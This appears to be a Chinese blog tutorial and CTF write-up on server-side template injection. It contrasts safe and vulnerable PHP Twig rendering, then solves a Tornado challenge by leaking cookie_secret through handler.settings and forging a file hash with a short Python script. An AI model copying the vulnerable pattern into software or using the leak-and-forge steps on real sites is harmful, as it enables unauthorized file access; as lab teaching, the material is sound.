模板注入
何为模板注入,那么肯定要有模板,并且因为这个模板产生了注[狗头]
有一个叫模板引擎的东西,他能让(网页)程序实现界面与数据的分离,业务代码和逻辑的分离,为的就是提升开发效率,提高代码的重用率。
他的注入成因和web的注入成因也一样,服务端在接受用户的输入时没有过滤,在目标编译渲染时,执行了用户恶意插入的内容。
那么究竟什么是模板?
模板就是提供给程序解析的一种语法,换句话说,模板是把数据(变量)到实际视觉呈现(HTML代码)这项工作的一种实现手段,这种手段在前后端都有应用
通俗讲,就是拿到数据,塞到模板里,然后让渲染引擎去将塞进去的东西生成html文本,返回给浏览器。这样做可以提高浏览器显示页面的速度,大大提升效率。
为了更好的理解,再来举个例子
比如定义一个模板
<html>
<div>{$what}</div>
</html>
这只是一个模板,{$what}里面是什么不知道,这里就是我们装数据的地方
如果我们想让里面装上 INVENTOR
那么渲染完成后就是
<html>
<div>INVENTOR</div>
</html>
这只是最简单的例子,渲染引擎是什么决定了你的渲染代码要怎么写。
注入原理
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
// 将用户输入作为模版变量的值
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
echo $output;
?>
这段代码其实没有什么问题,即使你想用name传一段脚本代码给服务端渲染,你觉得这里有XSS漏洞
但是模板引擎一般都对变量值进行编码和转义,所以不会造成跨站脚本攻击
但下面这段代码就不一样了,它将用户的输入作为模板的内容
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
// 将用户输入作为模版内容的一部分
$output = $twig->render("Hello {$_GET['name']}");
echo $output;
?>
在引擎渲染的时候,这时用户输入的数据就会被执行
原理大概讲完了,我们看看题目
http://7dfd3fa3-1ecb-49a3-b734-99be8e925c91.node3.buuoj.cn/file?filename=/flag.txt&filehash=a35d9b1f1d59223ba98daf512554bf56
flag in /fllllllllllllag
http://7dfd3fa3-1ecb-49a3-b734-99be8e925c91.node3.buuoj.cn/file?filename=/welcome.txt&filehash=c17a1847b8e0cfebdce12ecf5b0c6813
render
http://7dfd3fa3-1ecb-49a3-b734-99be8e925c91.node3.buuoj.cn/file?filename=/hints.txt&filehash=60bd2da3d0f9de7b809ae0d097c0fcfe
md5(cookie_secret+md5(filename))
第二个提示render是一个函数名,用来生成模板,也就是这里让做题者联想到模板注入
我们直接访问文件会显示错误
下面这里确实存在漏洞
第三个提示应该就是url中的filehash的值的生成方法
所以我们还缺一个cookie_secret,结合题目提示tornado,这是一个web服务器的框架,里面有一些对象的别名,可以让我们快速访问,这里输入handler.settings,就能访问到cookie_secret
然后用脚本实现第三个提示
import hashlib
hash = hashlib.md5() #生成一个md5对象
filename = '/fllllllllllllag'
cookie = '57bf8cea-79f0-42e2-a031-53e376bdd691'
hash.update(filename.encode('utf-8')) #update中的参数必须是二进制的字节流
s = hash.hexdigest() #hexdigest是用来返回32位的十六进制字符串
print(s)
hash = hashlib.md5()
hash.update((cookie+s).encode('utf-8'))
print(hash.hexdigest())
—
如果还有不懂的地方可以关注我的公众号“沉淀Hack”,发消息向我留言,每天会更新大量干货教程,快扫下面的二维码吧